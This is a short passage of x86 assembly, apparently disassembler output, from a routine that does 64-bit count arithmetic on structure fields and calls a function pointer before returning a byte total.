mov edx, dword [ebp + 8]
add edx, ebx
sub esi, ebx
mov eax, dword [ecx + 0x30]
sbb edi, dword [esp + 0x14]
sub dword [eax], ebx
mov eax, dword [ecx + 0x20]
add dword [eax], ebx
jmp 0x40ac35
mov edx, dword [ebp + 8]
test edi, edi
jl 0x40ac58
jg 0x40ac3f
test esi, esi
je 0x40ac58
mov eax, dword [ecx + 0x4c]
test eax, eax
je 0x40ac58
push eax
push esi
push 1
push edx
call fcn.00418ca1
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc